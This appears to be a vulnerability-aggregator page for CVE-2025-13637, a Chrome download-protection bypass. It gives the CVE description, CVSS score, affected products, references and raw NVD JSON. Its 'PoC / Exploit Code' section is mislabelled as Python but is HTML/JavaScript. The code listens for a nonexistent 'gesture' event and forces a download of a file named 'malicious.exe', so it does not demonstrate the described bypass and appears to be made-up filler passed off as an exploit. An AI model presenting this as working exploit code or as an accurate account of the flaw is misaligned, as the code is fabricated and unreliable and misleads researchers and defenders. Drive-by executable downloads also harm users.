CVE-2025-13637

Description

Inappropriate implementation in Downloads in Google Chrome prior to 143.0.7499.41 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass download protections via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.41

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13637 PoC - Downloads Protection Bypass -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13637 PoC</title>
</head>
<body>
    <h1>Downloads Protection Bypass PoC</h1>
    <p>Click and drag the link below to trigger download bypass</p>
    <a href="malicious_file.exe" download id="downloadLink">Download</a>
    <script>
        // Simulate specific UI gesture detection
        document.addEventListener('gesture', function(e) {
            // Bypass download protection via crafted gestures
            document.getElementById('downloadLink').click();
        });
        
        // Alternative: Simulate download via blob
        function triggerMaliciousDownload() {
            const maliciousContent = 'malicious content';
            const blob = new Blob([maliciousContent], {type: 'application/octet-stream'});
            const url = URL.createObjectURL(blob);
            const a = document.createElement('a');
            a.href = url;
            a.download = 'malicious.exe';
            document.body.appendChild(a);
            a.click();
            document.body.removeChild(a);
            URL.revokeObjectURL(url);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13637
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13637
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13637/
[4] VulDB https://vuldb.com/cve/CVE-2025-13637
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/392375329

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13637", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:48.367", "lastModified": "2025-12-04T19:39:11.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Downloads in Google Chrome prior to 143.0.7499.41 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass download protections via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-449"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/392375329", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}